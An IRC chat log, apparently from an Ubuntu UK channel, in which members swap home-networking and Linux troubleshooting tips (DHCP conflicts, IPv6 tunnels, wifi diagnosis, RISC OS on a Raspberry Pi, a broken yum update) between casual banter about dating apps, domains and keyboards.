<mapps> why on earth can't i connect to my virgin wireless? just says 'taking longer than usual' no pass wrong etc nd it works on my laptop downstairs
<mapps> cant think what it could be ;/
<neuro> this is why i don't use ISP-provided routers
<neuro> pfsense + airport extreme FTW
<BigRedS> Oh man, the network at my dad's is a horriffic collection of great ideas about replacing networking things
<mapps> I like the looks of the new linksys 802.11ac router--theyve been woking with openWRT to make it work with it
<BigRedS> last weekend I found we had no DHCP servers at all there, the weekend before there were three giving out leases on two different subnets...
<mapps> that's neat!#
<neuro> nice
<mapps> lol
<mapps> on one network BigRedS 3 dhcp how?!
<neuro> my folks had an openreach engineer round on saturday trying to figure out why their infinity was being crap
<BigRedS> There's the ISP router, a Netger thingy that's supposed to be relaying to upstairs and a D-Link one to cover the garden
<neuro> turns out the Kelly Communications guys messed up the NTE5 replacement
<neuro> but while troubleshooting, openreach bod reset their home hub
<neuro> doh
<BigRedS> and, every so often, one or both of the DHCP servers that's supposed to have DHCP turned off forgets to not give out leases
<mapps> the infinity heres been quite good for me so far- think its 75m bit
<neuro> after i'd reconfigured it from 192.168.1 to 192.168.131, set up port forwarding and disabled onboard DHCP so their server upstairs could do dhcp
<mapps> kelly comms?
<BigRedS> and sometimes someone tries troubleshooting and forgets which one's supposed to be authoritative and we all switch to 10.0.0.something for a while
<neuro> yeah, the crowd that openreach subcontract installs out ot
<mapps> ah
<neuro> s/ot/to/
<neuro> BigRedS: wheee
<neuro> subnet bingo
<BigRedS> neuro: yeah, it's like working but more frustrating and for free
<directhex> popey, thanks for letting me know, i don't pay attention to g+ usually
<neuro> so i was raging at openreach bod but nothing i could really do about it since i wasn't there
<directhex> popey, have you met greg? nice guy.
<popey> no
<neuro> and i'd forgotten to warn my dad to say "don't reboot the home hub unless you really have to"
<BigRedS> 'course, muggins here made it worse by configuring a pi to route between all possible networks and plugging that in to see if it'd help things carry on working...
<mapps> we have 2 bt hub things with infinity too
<neuro> so my dad was like "it seems to be working now, can you log in and check?" and i had to say no :P
<neuro> i unplugged mine
<neuro> waste of space
<mapps> i still havent got a raspberry pi - keep thinking maybe i should get one
<neuro> and the sky sagem piece of rubbish too
<BigRedS> Mine's a solution looking for a problem, really
<neuro> just plugged the openreach modems straight into the back of my ESXi server so pfsense could use them
<Seeker`> I use my pi for DHCP / DNS
<Seeker`> over the BT infinity hub
<neuro> i've had an rpi for ages
<BigRedS> yeah, I pondered that, but I've never really had issues with ISP hardware
<neuro> still sitting in it's box
<Seeker`> the DNS on the hub is slooooooooooooooooooooow
<neuro> BigRedS: i moan, but they're usually ok, they just don't meet my usage requirements
<BigRedS> and using that makes a good deal of the network into someone else's problem, which is my favourite sort of problem
<neuro> namely ipv6 tunneling
<mapps> do you not have 2 bt hubs for infinity?
<neuro> me? no
<Seeker`> not 2 hubs, no
<mapps> oh
<Seeker`> you get a VDSL modem and a hub
<neuro> bt sent me a home hub 3, and i have a sagem thing from sky
<BigRedS> there's two boxes; a modem and a router I think
<neuro> for now
<BigRedS> well, at my dad's, so lord knows what's supposed to be there
<neuro> bt home hub 5 will have an integrated vdsl modem
<mapps> what do you use ipv6 tunnelling for btw? ive seen you can get a tunnel from he.net for free-but what would i use it for
<neuro> i have an he.net tunnel
<neuro> i use it for ipv6
<mapps> yea but i meant what specifically
<neuro> sorry if that's somewhat obvious
<neuro> i use it to be online with ipv6
<neuro> so that if i want to use ipv6, i can
<mapps> yea i get that but i cant see how i could use ipv6 i understand what it is and the tunnel
<neuro> you use it the same way you'd use ipv4
<neuro> to connect to stuff
<mapps> yea i just cant see the need for me now really? not everythings ipv6 enabled for one thing
<neuro> no, but enough things are to make it useful
<BigRedS> and there's a small (but growing) number of hosts that are ip6 only
<neuro> also it's nice just having to set a inbound firewall rule to talk to something on my lan from outside rather than having to do a NAT rule as well
<mapps> ah
<mapps> yea thats true
<BigRedS> I don't think any are english language yet, but that'll happen
<Dave2> Also you can connect to IRC with awesome custom hostnames
<Dave2> That's the most important bit.
<mapps> haha
<neuro> neuro has userhost ~neuro@cochrane.zensoft.net and realname neuro
<Dave2> (Assuming you own a domain.)
 * neuro owns too many these days
<neuro> i have to renew isitbeeroclock.com at the end of the month
<bigcalm> neuro: that's reminded me that I have a vanity domain that's up for renewal. Anybody want it?
<popey> http://www.kickstarter.com/projects/tapatucamteam/tapatucam
<popey> "Did you know that anybody can access your webcam and spy on you and your family?".
<popey> Oh *really*.
<neuro> bigcalm: depends what it is :)
<bigcalm> smutsmith.com
<BigRedS> I keep getting emails about renewals of drunken domain purchases
<BigRedS> like llamallamaduck.net
<Dave2> no they can't, it's unplugged/got tape over it. And I don't have a family. So there.
<BigRedS> why did I buy that?
<Dave2> probably because of the llama song
<BigRedS> and why have I renewed it five or six times
<neuro> bigcalm: pass :D
<neuro> i bought a stupid domain recently, can't remember what it was though
<bigcalm> I should try and contact people who have email redirects with it to see if any of them want it
<BigRedS> yeah, most of my domains ended up used as temporary domains for freind's sites and suchlike, so I'm never sure if anyone's actually using them
<neuro> oh yeah ... 2013-07-31 omnombuntu.com
<neuro> i have no idea why i bought that
<Dave2> "recently", "half a year ago", close enough
<BigRedS> haha
<neuro> well i thought it was recently
<BigRedS> I have deebian.org which was supposed to end up a parody for people who mispronounce 'debian'
<BigRedS> but that was too much like hard work
<neuro> ah, this is why it was registered: https://gist.github.com/evilneuro/0d0e40f14f981ca5a136
 * diddledan notices that http://omnombuntu.com is nice and friendly
<neuro> it's my default "i haven't configured a vhost yet" page
<diplo> Nice bit of bootstrap :)
<neuro> it's bootstrap 2, i need to update it
<diplo> I was going to mention that :)
<neuro> jinx
<bigcalm> Crontab - */2 in the minute column would mean run every 2 minutes?
<BigRedS> yeah
<bigcalm> Ta
<MattJ> BigRedS, Jabber \o/
<MattJ> BigRedS, what server/client do you use?
<BigRedS> I don't know what the server is, but all my clients are pidgin
<foobarry> as soon as i popped the kethcup sachet in my pocket this morning at home, in case i eat a pasty "one day soon" , i knew i would end up eating one today
<BigRedS> MattJ: ^ I've also little control over the server, but if there's a way to make it so that every message sent to me goes to every one of my connected clients that's definitely one that'll make it in :)
<BigRedS> Is that an intended feature of xmpp?
<MattJ> Absolutely
<BigRedS> Ah good. It did seem a ridiculous thing to not do, but on the other hand if it can do it it seems even more ridiculous to be off by default
<MattJ> Client support is a bit thin at the moment, but it's coming - and few public servers have it enabled yet, but if they're running Prosody it's quite easy to turn on
<BigRedS> do you know what that feature is called?
<MattJ> Message carbons, or just "carbons" generally
<BigRedS> our jabber server's ~5 years old
<MattJ> Time for an upgrade :)
<diplo> I've been playing/testing ejabberd recently
<BigRedS> nah, not til the disks start smoking
<diplo> Would like to put it in at work
<MattJ> I think support is coming in Pidgin for it, I'll poke about the status of that
<diplo> you work on prodsody MattJ ?
<MattJ> Yes
<diplo> Will have to give it a go, know who to poke in case of issues now :)
<MattJ> Sure :)
<BigRedS> I don't understand how companies in more than one room can operate without it
<diplo> MSN :/
<BigRedS> oh. I guess by "it" I meant some sort of instant messaging
<diplo> yeah, I think most companies have something in place, I know a lot of companies use OCS
<diplo> But that is stupidly expensive!
<BigRedS> Oh, the MS thingy? Lync?
<diplo> yeah
<diplo> Was OCS when I used it, but think it may be called that now, give it it's due it worked quite well
<BigRedS> yeah, but as with most MS stuff it's probably fairly expensive but integrates seamlessly and reliably
<diplo> When I was looking at it, it used Jabber as a backend
<diplo> Doubt it does now though
<BigRedS> I'm pretty sure it can do xmpp federation
<diddledan> lync will probably hook into skype soon if it doesn't already
<diplo> Bah, no official CentOS prodsody package
 * diplo tests on an ubuntu box and get others to do something later
<BigRedS> stick a proper OS on that, then
<MattJ> BigRedS, Lync can do federation, yes - but they only officially support it for communicating with Google
<diplo> Not my choice, everyone has used RH/CentOS since years before I joined, hard work to get them to use something else
<BigRedS> MattJ: Google who're turning off XMPP federation?
<knightwise> hey guys
<knightwise> i have a question
<MattJ> BigRedS, right (so they say)
<diddledan> BigRedS: I thought they turned it back on again?
<knightwise> I installed 13.10 on my lenovo twist, everything worked fine. Wifi speeds were pretty good
<BigRedS> diddledan: I think it works, but they've said they will be breaking it
<knightwise> last week I got a new router and now my wifi speeds on ubuntu are terrible
<diddledan> BigRedS: with the caveat that it now has spam detection
<BigRedS> and it doesn't work at all if you use hangouts I think
<knightwise> and other machines in my network arent affected, just the ubunth machine
<BigRedS> knightwise: do you know what your DNS server is? Try not using the new router for it
<knightwise> very odd , i think it might have to to with the wpa encryption or something ? any idea
<knightwise> I use openDNS as my dns server
<knightwise> I tried static ip's and switching DNS servers
<knightwise> but even responce times on pings are realy high
<diddledan> knightwise: direct with 208.67.220.220 configured on your ubuntu machine and not via your router's resolver?
<knightwise> Yep
<knightwise> Does ubuntu have issues with routers who want to be dns servers (because the other la&ptops on my network don't have a problem)
<diddledan> ubuntu does what you tell it
<diddledan> if you tell it to use 208.67.220.220 as your dns source then it'll do just that
<BigRedS> diddledan: whoah there. Ubuntu very much uses network-manager
<BigRedS> which does do what you tell it if you tell it right, but it's quite easy to confuse it by trying to tell it in the wrong way
<knightwise> could it be that network manager has NO problem with an airport extreme router but does have a problem when I get an Asus router ?
<BigRedS> shouldn't be, nm shouldn't know the difference
<BigRedS> it *could* be that the driver for the wifi chipset does, I guess. What's the chipset?
<MartijnVdS> maybe the asus router is set up wrong/differently?
<MartijnVdS> different frequency? different wifi version ("real" N vs "draft" N vs bg vs a vs ac)
<knightwise> but then why are there no other devices affeccted.
<knightwise> I hooked it up to the G
<MartijnVdS> knightwise: could be a lot of things really.. what wifi chip do you have locally?
<knightwise> I could try altering the cannel.
<knightwise> I got to check MartijnVdS , don't have the machine with me right now.
<knightwise> i'm also gonna hook it up to a different router to see if there is any difference
<foobarry> no ipv6 configured anywhere?
<BigRedS> My iwlwifi spent several releases just not doing 802.11n
<MartijnVdS> foobarry: but.. but.. IPv6  is the future!
<BigRedS> turn n off, everything works fine
<BigRedS> for example
<MartijnVdS> BigRedS: b43 used to be flaky as well
<foobarry> my intel wifi doesn't do n very well
<MartijnVdS> it got better when openwrt started using it and actually fixing bugs
<MartijnVdS> foobarry: mine does 300mbit fine
<BigRedS> MartijnVdS: it isn't any more?
<MartijnVdS> BigRedS: less than before
<foobarry> 4965agn is bad for n
<knightwise> Nope , not that i know of .. i might have to check on the router for that.
<foobarry> are ping response slow from everywhere ?
<foobarry> check mtr for the slowness
<diddledan> mtr++
<knightwise> foobarry: rest of the network is fine ,
<knightwise> macs, windows machines , androids
<knightwise> all ok.
<foobarry> so it's slow pinging the router from ubuntu?
<foobarry> also do ping -n
<diddledan> err... how have sky managed to get me onto their "landlords" mailing list?
<diddledan> I got a letter just now that is advertising communal distribution systems
<MartijnVdS> diddledan: nice, is it cheaper? ;)
<diddledan> lol
<MartijnVdS> diddledan: wholesale rates and all that
<knightwise> I havent been pinging the router yet , need to try that
<foobarry> what have you been pinging?
<diddledan> sky.com/scs is the thing they want me to buy for my block of flats
<knightwise> foobarry: outside sites
<knightwise> but i'm going to give it a try tonight and do a side by side comparison with my macbook
<foobarry> start with router, IP only
<foobarry> then go wider if no issue
<MartijnVdS> also, one step at a time
 * diddledan runs
<knightwise> foobarry: MartijnVdS thanx :) gonna do a step by step problem analisys tonight
<diddledan> analy cist?
<diddledan> sounds painful
<foobarry> use mtr and other methods to find slowness, including ping -n to eliminate dns issues
<foobarry> also checking g or n, forcing g if you have problems on n
<knightwise> thats the funny part . i have it on G , because it doesn't even see the N SSID.
<MartijnVdS> Also, ralink chipset client-side = flaky
<MartijnVdS> knightwise: http://tweakers.net/nieuws/93696/telenet-begint-met-uitrol-ipv6.html !
<knightwise> whaw
<knightwise> next up they should open up the standard ports below 1024 for everyone
<diddledan> nice
<knightwise> instead of keeping them bloody closed
<MartijnVdS> knightwise: urgh..
<neuro> lol wut
<knightwise> yep
<MartijnVdS> neuro: anti home-server thingy
<knightwise> cant open up a port under 1024
<MartijnVdS> neuro: Belgium = strange old-fashioned ISPs
<knightwise> very nice if you want a pptp vpn or something
<neuro> 64,512 ports not enough for you?
<diddledan> I launched a brand new site in belgium today
<MartijnVdS> neuro: adjusting the default is too much work, man.
<foobarry> " i've designed the chip which will go into the 2016 model of the raspberry pi"
<knightwise> diddledan: which one
<diddledan> knightwise: www.mitocare.be
<MartijnVdS> diddledan: is it about their new "cultural heritage" thing?
<neuro> nippy
<diddledan> nah
<MartijnVdS> diddledan: http://www.flanderstoday.eu/living/frietkoten-recognised-cultural-heritage
<diddledan> lmao
<diddledan> I love that there's a national association of french fry shops
<MartijnVdS> It's one of the things Belgians are known for (at least in .nl)
<popey> neuro: seen http://ripplechat.io/ ?
<knightwise> of course
<knightwise> we (kinda) invented the thing
<MartijnVdS> knightwise: so that's why they're called French :P
<neuro> popey: i have now
<knightwise> MartijnVdS: good question.
<popey> there was a location based chat client about 10 years ago, called Trepia
<popey> it didn't do well and shutdown less than a year later
<knightwise> the first report of fried potato sticks being sold in pointy baggs comes from the state fair in Liege (luik) in 1850
<Laney> grindr
<popey> people didnt really carry devices around then, more likely to succeed now
<knightwise> 2 guys (one was belgium, one was suiss) sold them there
<neuro> i suspect it would be full of people just insulting each other
<diddledan> Laney: fun
<knightwise> and it became a national tradition
<popey> I met someone on Trepia and still keep in touch â»
<foobarry> Laney: wrong window :P
<Laney> :D
<neuro> foobarry: hehe
<Laney> I didn't dare to sign up
<foobarry> ed balls
<diddledan> Laney: awww
<diddledan> grindr is one of those things that I know about third-hand
 * neuro isn't a gay man looking to hook up with other gay men, so have never signed up
<diddledan> neuro: you're probably missing out
<neuro> i seriously doubt that
<diddledan> :-p
<knightwise> wasn't grinder that app from that movie ?
<MartijnVdS> knightwise: no.
<diddledan> lol
<knightwise> yes it was
<MartijnVdS> knightwise: it exists. Ask Stephen Fry.
<knightwise> Lol :) For real ! :)
<knightwise> wicked
<neuro> what are you two on about?
<neuro> knightwise: did you think we were talking about a fake app?
<diddledan> has Stephen Fry hooked up with someone through it?
<neuro> probably
<Laney> haha
<foobarry> annnnyway,...
<neuro> i suspect you'd need to ask him though
<diddledan> I thought he was respectible
<MartijnVdS> diddledan: he's mentioned the app and what it's for a few times on TV
<foobarry> jeremy clarkson installed in on top gear and found some people in the audience
<diddledan> foobarry: did he shame them?
<knightwise> neuro: yep :)
<knightwise> i am stil naive :p
<awilkins> There's Tinder, the hetero / universal version of Grindr
<awilkins> I think it's rubbish outside of London though
<neuro> "He's 9 miles away, I've got my Merc, we could be there in a jiffy": http://i.imgur.com/pXvKvdc.jpg
<foobarry> and pub/bar another version where people hook up based on people in your proximity
<awilkins> All I've managed to communicate with on it are robots that spout inane Barnum statements
<neuro> http://www.zie.nl/video/tv-reclame/Stephen-Fry-bij-Top-Gear/m1dz5exf6mmn - skip to 04:55
<diddledan> lol "it's like real life, but better"
<neuro> there was no one in the audience, but there were people "nearby"
<neuro> but yes
<neuro> aaaaaaanyway
<foobarry> i know a celebrity who used "phone book" when he wanted rumpy pumpy. the little black book does realyl exist
<knightwise> tinder : probably full of lonely single guys
<foobarry> and dogs
<neuro> girls can be lonely and single too
<knightwise> true , but they arent realy gonna use those apps a lot .. are they ?
<knightwise> are they ?
<foobarry> i would reckon that facebook male/female ratio is 50/50 ish
<MartijnVdS> foobarry: nah, closer to 40/60  I think
<foobarry> certainly more facebook addicts in know are women
 * foobarry stops generalising
<BigRedS> everyeone for whom I know they use tinder are female
<awilkins> Tinder is pushed as being more favourable than average dating sites to women
<awilkins> Because they have control over who contacts them
<awilkins> Whereas they usually have to wade through an epic flood of unsavoury dudes
<MartijnVdS> awilkins: don't they have to do that *anyway*? I mean.. there needs to be a "first contact" moment
<awilkins> MartijnVdS, On Tinder you can't even message someone unless they swiped you to the right
<popey> unsurprisingly there is nobody on ripple within ~30 miles of me
<popey> s/30/20
<knightwise> Damn , talk about superficial
<awilkins> MartijnVdS, Whereas on dating sites you can pretty much message anyone with anything right off (depending on conditions of service)
<MartijnVdS> awilkins: yes, which you then discard if they're creepy?
<awilkins> MartijnVdS, Women get a LOT of creepy
<foobarry> in other news, here's a man riding the worlds smallest bike https://www.youtube.com/watch?v=SSkBRskWdzs
<awilkins> MartijnVdS, Especially attractive ones
<knightwise> foobarry: thank heavens for that
<awilkins> At least on Tinder they only have to put up with creepy from people they fancy in the first place :-)
<awilkins> The downside is that it pads it's library unfairly I think - I saw so many profiles from way outside my distance settings (like - the profile description actually says "I live in London") that I don't think it's that popular outside of London so they just spam you with profiles from elsewhere to keep you interested
<MartijnVdS> it was big in .nl for a few weeks last year
<MartijnVdS> I have *no* idea if anyone is still on it 8-)
<knightwise> my god
<awilkins> Ah, the Netherlands. Possibly ladies have to put up with less creepy there
<knightwise> if you have to slide right and left ... you get "rejection RSI"
<awilkins> I hear the Nordic countries are a haven of treating women like actual people
<knightwise> respect for a girl is the first step to a good relationship
<MartijnVdS> awilkins: Maybe because there are fewer Dutch-speakers in the world.. but from what I've heard, there are creeps.
<MartijnVdS> knightwise: what if the relationship is between 2 men?
<knightwise> Respect is always the first step
<awilkins> I wish men in the USA and UK would get the point and stop peeing in the dating pool for those of us that at least try our best to respect women
<knightwise> awilkins: deal with it my friend.
<foobarry> i read that around the time of the battle of waterloo, death from women sleeping with men were running at around 10%, deaths from being in the war, 8%
<Myrtti> awilkins: there are arseholes in Nordic countries as well
<awilkins> knightwise, Yeah, the point I'm making is that with so many creeps around and the disproportionate amount of creeping they do at women, they skew the perception of the rest of us
<awilkins> Until the default assumption is that we're all creeps
<knightwise> awilkins: correct.
<Myrtti> just listening to an ackquaintance telling a story on how on her new workplace women are expected to do the cleaning in addition to their normal work without extra perks
<knightwise> same with muslim terrorism and drama-queens for gay people
<awilkins> It's the news
<awilkins> They should be required to provide infographics on the statistical probability of bad stuff that happens
<awilkins> Like every time a child is abducted they should cut to a sack of rice and say "The likelyhood of this occurring is approximately one grain of rice out of this sack."
<diddledan> awilkins: I know the feeling
<foobarry> i have risc os installed on a SD card. how do i add files to it from ubuntu?
<MartijnVdS> foobarry: what kind of filesystem does risc os use?
<foobarry> from memory, it was ADFS,
<awilkins> Yeah, Acorn ADFS
<diddledan> awilkins: it's not just creeps but scammers and spammers and the like that target both men and women on dating sites
<MartijnVdS> foobarry: Linux supports ADFS, according to the Wikipedias
 * knightwise tries out the app and notices he has incredibly high standards
<MartijnVdS> diddledan: yup.. seen those
<knightwise> probably because i'm married to the girl of my dreams
<diddledan> knightwise: lucky get!
<neuro> Siri?
<foobarry> you might wanna uninstall that app knightwise or she might not be happy to find it on your phone
<awilkins> diddledan, I've caught myself worrying unduly about that - like when I dated someone with poor english I worried about being scammed... (she was a very nice and intelligent Chemistry PhD from Iraq)
<foobarry> i'm wondering if its just easier to boot into riscos and copy files that way...
<knightwise> true :) before other single ladies get the wrong impression that i'm "available" :p
<MartijnVdS> knightwise: "Eww, he's Belgian"
<awilkins> You should just be able to use mount -t adfs /dev/sdcardthingy mountpoint
<davmor2> MartijnVdS: You fool that means he is from the land on Chocolates you just made him more attractive.  D'oh!!!!
<awilkins> Chocolate ON WAFFLES
<foobarry> awilkins: unknown filesystem or bad superblock
<MartijnVdS> davmor2: nah, it's also the land where the EU has its HQ
<foobarry> etc etc
<awilkins> foobarry, Maybe it's not *that* ADFS
<diddledan> ADFS is Andrew FileSystem, isn't it?
<MartijnVdS> no that's afs
<diddledan> or have I just pull that one out of my proverb
<shauno> riscos should handle fat/fat32 usb sticks just fine, if you want to cut the complications and sneakernet
<foobarry> shauno: that sounds better
<foobarry> mount the usb within riscOS
<knightwise> MartijnVdS: i've been called 'a northern dutchman today
<shauno> http://svrsig.org/HowTo.htm looks optimistic (I can't link because of the frameset, but disc connects->rPi on the left shows fat32fs, a web browser, etc.  apparently ethernet should work, usb-wifi shouldn't)
<shauno> er, contents, rather
<MartijnVdS> knightwise: By a Frenchman?
<foobarry> hmmm adding a usb froze the pi
<knightwise> by a "brabander"
<foobarry> or at least clicking on it did
<MartijnVdS> knightwise: Rare mensen, die Brabanders.
<MartijnVdS> foobarry: try connecting a powered USB hub, then connect the USB stick to that
<MartijnVdS> foobarry: Pi isn't very good at supplying USB power
<foobarry> even to read a usb stick?
<MartijnVdS> depends on the stick, but sometimes
<foobarry> shauno: any idea how i select the usb drive from teh F12 prompt?
<MartijnVdS> Fedora 12?
<diddledan> F12 prompt?
<foobarry> my longterm memory from 1988 is failing me
<shauno> heh, no idea at all.  I was just thinking I might have to have a toy with it when I get home, since I've never actually seen it in action
<foobarry> f12 in riscos
<foobarry> i used to spend all my time on riscos
<foobarry> i think the issue might be that i'm powering it from my desktop, and the mouse+usb is too power hungry
<diddledan> yeah your desktop can only deliver 500mA
<diddledan> out of which you need to power the pi AND run all your things
<diddledan> all teh things*
<diddledan> POWER ALL THE THINGS
<MartijnVdS> hence my powered hub suggestion
<foobarry> don't have one :(
<shauno> make one!
<MartijnVdS> from duct tape and a paperclip!
<hamitron> you try a different usb port on your PC, to power the pi?
<diddledan> don't forget the old sock
<foobarry> type *SCSI
<foobarry> then *.
<foobarry> i can see usb drive \o/
<foobarry> pacmania here we come
<foobarry> mehhhhhhhhhh
<foobarry> lunchtime over
<dwatkins> Ghouls 'n Ghosts!
<foobarry> couldn't view contents
<foobarry> oh i'm in
<awilkins> Ooh, Pacmania!
<awilkins> ZARCH
 * awilkins has warm fuzzies
<foobarry> much fuzzy
<MartijnVdS> such warm
<diddledan> wow
<awilkins> So... RiscOS on Pi with Zarch and Pacmania?
<awilkins> Woo
<foobarry> native
<foobarry> such native
<foobarry> much fast
<diddledan> wow
<foobarry> much nostalgic
<diddledan> many fast
<foobarry> i want gribblys day out
<diddledan> oh you already said fast
<diddledan> mine is better tho :-p
<foobarry> better be careful or i'll end up using riscos more than linux at home
<diddledan> EEEEEEEKKKKK
<diddledan> yeah, screaming like a girl really helps my macho image
<foobarry> hamitron: moved USB to the rear port and more powerz
<bigcalm> It's time for chocolate buttons
<diddledan> :-o
<diddledan> chocolates?!
<bigcalm> Shame they aren't Cadburry's
<diddledan> grr
<diddledan> now you went and ruined it
<bigcalm> Xmas choccies
 * bigcalm flicks chocolate buttons at diddledan 
 * neuro has a caramel cup
<diddledan> aren't you supposed to eat those?
<neuro> https://www.dropbox.com/s/2i3rapblysqobnm/Photo%2015-01-2014%2014%2013%2032.jpg
<neuro> win
<diddledan> what you doing with my keyboard?!
<neuro> dropping ash onto it, probably
<diddledan> lol
<diplo> looks like a Acer revo keyboard
<diddledan> diplo: it's an aluminium apple keyboard
<neuro> tis
<neuro> a wired full size one, not the wireless cut down one
<diddledan> ditto
<neuro> probably the best keyboard i've used since the sun type 5
<diplo> :)
<diddledan> I don't get the point of a wireless one when it's sat 2 inches from the pc
<neuro> "cleanliness"
<diplo> Cables!
<neuro> like, wire free desks and all that, man
<diddledan> plus I get the numpad on the wired one
<neuro> yeah
<diplo> Can hide the transmitter
<shauno> the wireless one is pretty cute though
<neuro> what transmitter?
<neuro> shauno: tis, i have one in the living room for my mac mini that's plugged into the telly
<diddledan> yeah, so cleanliness isn't really my strongpoint
<bigcalm> It was fun when there were usb hubs in keyboards
<neuro> mine either, my desk is a state
<diddledan> my desk is a warzone
<shauno> there is in the wired variant of this one
<neuro> bigcalm: this keyb has unpowered usb2 connectors on either side
<bigcalm> neuro: ah, Apple kept doing that then
<neuro> so no use for charging an iphone but fine for sticking in a usb drive
<diddledan> and a mouse
<neuro> and a mouse
<neuro> i have a wired mighty mouse here but i unplugged it after i started using the magic trackpad
<bigcalm> I can understand mice being wireless - if it's being pushed about
<neuro> i just keep it around for emergency's sake
<bigcalm> I now use a trackball that happens to be wireless. Not sure of the advantage of that though
<neuro> urgh
<neuro> i never could get used to trackballs
<bigcalm> neuro: it's cured my right wrist mouse RSI
 * neuro hugs his trackpad
<neuro> so much easier to do stuff
<neuro> especially scrolling
<bigcalm> Hate trying to play Minecraft with a trackpad
<neuro> well, yeah
<diddledan> rsi from a mouse. hah. like we believe that story.
<bigcalm> Speaking of which
 * bigcalm checks in on his chickens
<diddledan> ;-)
<diddledan> you been doing to much chicken wrangling, that's what's cause your RSI
<bigcalm> Heh
<bigcalm> I think it was actually slicing up PSDs for several years
<diddledan> lol
<diddledan> accuracy?
<bigcalm> What about it?
<diddledan> as in it was worrying about accuracy that caused the RSI?
<bigcalm> No, repitition
<bigcalm> The clue is in the name ;)
<neuro> Last login: Mon Aug 19 08:40:33 2013
<neuro> whoops
<neuro> finding random ec2 instances for the win
<neuro> 105 packages can be updated.
<neuro> 50 updates are security updates.
<MartijnVdS> neuro: while (apikey = rand()) { try_to_connect() } ?
<neuro> errr, no?
<diddledan> neuro: "finding"?
<diddledan> as in they were lost?
<neuro> yeah
<neuro> it's been lurking down at the bottom of our instance list
<neuro> and i forgot it was there
<diddledan> lolz
<MartijnVdS> popey: as a btrfs fan, http://arstechnica.com/information-technology/2014/01/bitrot-and-atomic-cows-inside-next-gen-filesystems/ might interest you
<foobarry> i've shagged my centos install
<foobarry> accidentally ctrl-c a yum update seems not to be very good idea
<neuro> yum-complete-transaction && yum update ... maybe?
<foobarry> trying skip-broken
<foobarry> argh dependencies
<SuperMatt> ttp://arstechnica.com/information-technology/2014/01/bitrot-and-atomic-cows-inside-next-gen-filesystems/ ars has a great article today promoting btrfs (to the point where it explains that it's experiments)
<SuperMatt> *experimental
<MartijnVdS> SuperMatt: scroll up to 14:54 ;)
<SuperMatt> loooools
<SuperMatt> I saw it and thought "#ubuntu-uk would love this" so I posted
<SuperMatt> didn't think to check if anyone else had posted
<MartijnVdS> np :)
<foobarry> http://pastebin.com/ZAtmak5X
<foobarry> what the heck is happening here?
<SuperMatt> you're using yum, that's your first mistake
<SuperMatt> you haven't got a funky extra repo, have you?
<foobarry> i booted into centos because i didn't want to futz my main install by installing oracle jav
<foobarry> a
<SuperMatt> understandable
<foobarry> nothign too funky
<foobarry> but i ctrl-c'd a yum update
<SuperMatt> oh
<SuperMatt> that might not have been a wise idea
<foobarry> should be recoverable though
<MartijnVdS> but you'd think it'd be recoverable
<MartijnVdS> I mean, it's not the weirdest thing one could do
<foobarry> this is why i stopped using fedora 10 years ago
<SuperMatt> I stopped using fedora about a week after passing my rhcsa
<foobarry> this is centos
<SuperMatt> I started using it within that week
<MartijnVdS> foobarry: THIS .. IS .. CENTOS ?
<foobarry> runnig yum check...fans up to warp speed
<popey> nice MartijnVdS
<foobarry> i can't access the equallogic web client from any device i own due to lame java
<foobarry> i can't tinker with it on my desktop because IBM IMM needs a certain config of java
<MartijnVdS> foobarry: VM? :)
<foobarry> laptop
<foobarry> but vm in future
<foobarry> annoyingly
<MartijnVdS> no I mean
<foobarry> yeah
<MartijnVdS> couldn't you use a VM on your desktop to install the correct java in
<foobarry> yeah, its a necessary silly evil
<foobarry> or boot into windows
<diddledan> yeah boot into windows! :-p
<diddledan> I feel like running my own DNSen
<diddledan> someone slap me
 * MartijnVdS slaps diddledan WAKE UP
<diddledan> huh? what?
<diddledan> was I having a nightmare again?
<foobarry> oracle java is via repo or website only now?
<diddledan> website only afaik
<foobarry> now firefox java plugin no existy in centos :SSSSSSS
<foobarry> grrr
<TwistedLucidity> IcedTea?
<foobarry> needs to be java i think
<foobarry> oracles one
<TwistedLucidity> Ah
<foobarry> given up, booted the windows :(
<TwistedLucidity> Not "teh Windows"!?!
<bigcalm> I've been stuck in Windows all week due to nvidia sillyness :(
<bigcalm> Maybe I should ask for help earlier in the evening this time
<popey> you should test #ubuntu â»
<diddledan> #ubuntu is a dangerous place for the uninitiated
<foobarry> more high volume like a motorway
<foobarry> like trying to cross one...
<diddledan> a fast moving motorway rather than a jammed one
<bigcalm> I'll give it a go. Later...
<bigcalm> Is it as friendly as here?
<bigcalm> Is anywhere as friendly as here?
<diddledan> it's... busy
<bigcalm> I'll tinker with a live usb tonight. Try and get the system so that I can ssh into it once more
<diddledan> I guess it does what it says on the tin. you go there to get a problem fixed rather than go there 'cos it's a fun place to be
<diddledan> kinda like the crematoria
<bigcalm> o.O
<bigcalm> Status: Shipped
 * bigcalm wiggles with excitement
<bigcalm> As expected, origin is China
 * bigcalm twiddles thumbs
<diddledan> what was it you were ordering?
<bigcalm> But now I have a new page to refresh every day
<popey> new laptop
<bigcalm> diddledan: new laptop
<diddledan> ah yes
<bigcalm> diddledan: http://www.dell.com/uk/p/inspiron-15-7537/pd?oc=cn75305&model_id=inspiron-15-7537
<diddledan> indium has gone awol
<diddledan> oops
<diddledan> sorry wrong window
<bigcalm> Last time I ordered a laptop from Dell, they discontinued the line the day after I received the order :|
<foobarry> \o/
<popey> heh
<diddledan> why does the poo hit the spinny thing just as I think I'm able to relax for the evening?!
<DJones> bigcalm: Last time I ordered from Dell, the next day they announced that all new machines would come with Windows XP instead of Vista & wouldn't change my order
<DJones> Insisted on delivering with Vista
<bigcalm> How does one check the integrity of an HDD and/or RAID1?
<bigcalm> davmor2: ETA of new laptop is 22nd Jan. Just in time for the LUG :D
<davmor2> bigcalm: nice n4 should be here friday :)
<bigcalm> Yay
<SuperMatt> http://www.catlateraldamage.com/play I think some of you lot will enjoy this
<SuperMatt> though I can't get it running in ff or chrome
<SuperMatt> on linux
<diddledan> it needs the unity web-player
<SuperMatt> ah, that'd do it
<bigcalm> Oh, I saw some gifs of this on tumblr. Wondered if I'd remember to play it
<SuperMatt> I didn't read too much about it
<bigcalm> Amusing
<bigcalm> I lost
<SuperMatt> d'awww
<SuperMatt> I must remember to download the standalone version tonight
<Seeker`> can anyone make it 1830 please?
<bigcalm> I'll settle for 1800
<diddledan> 25 minutes for me
<bigcalm> Arse
<Seeker`> ?
<bigcalm> 49 minutes and I shouldn't be counting
<Seeker`> not going down to sub-minute resolution? :P
<Seeker`> 4635
<Seeker`> 4630
<davmor2> bigcalm: liar liar pants on fire, I know you you'll work way passed 18:00 cause you can't help yourself :)
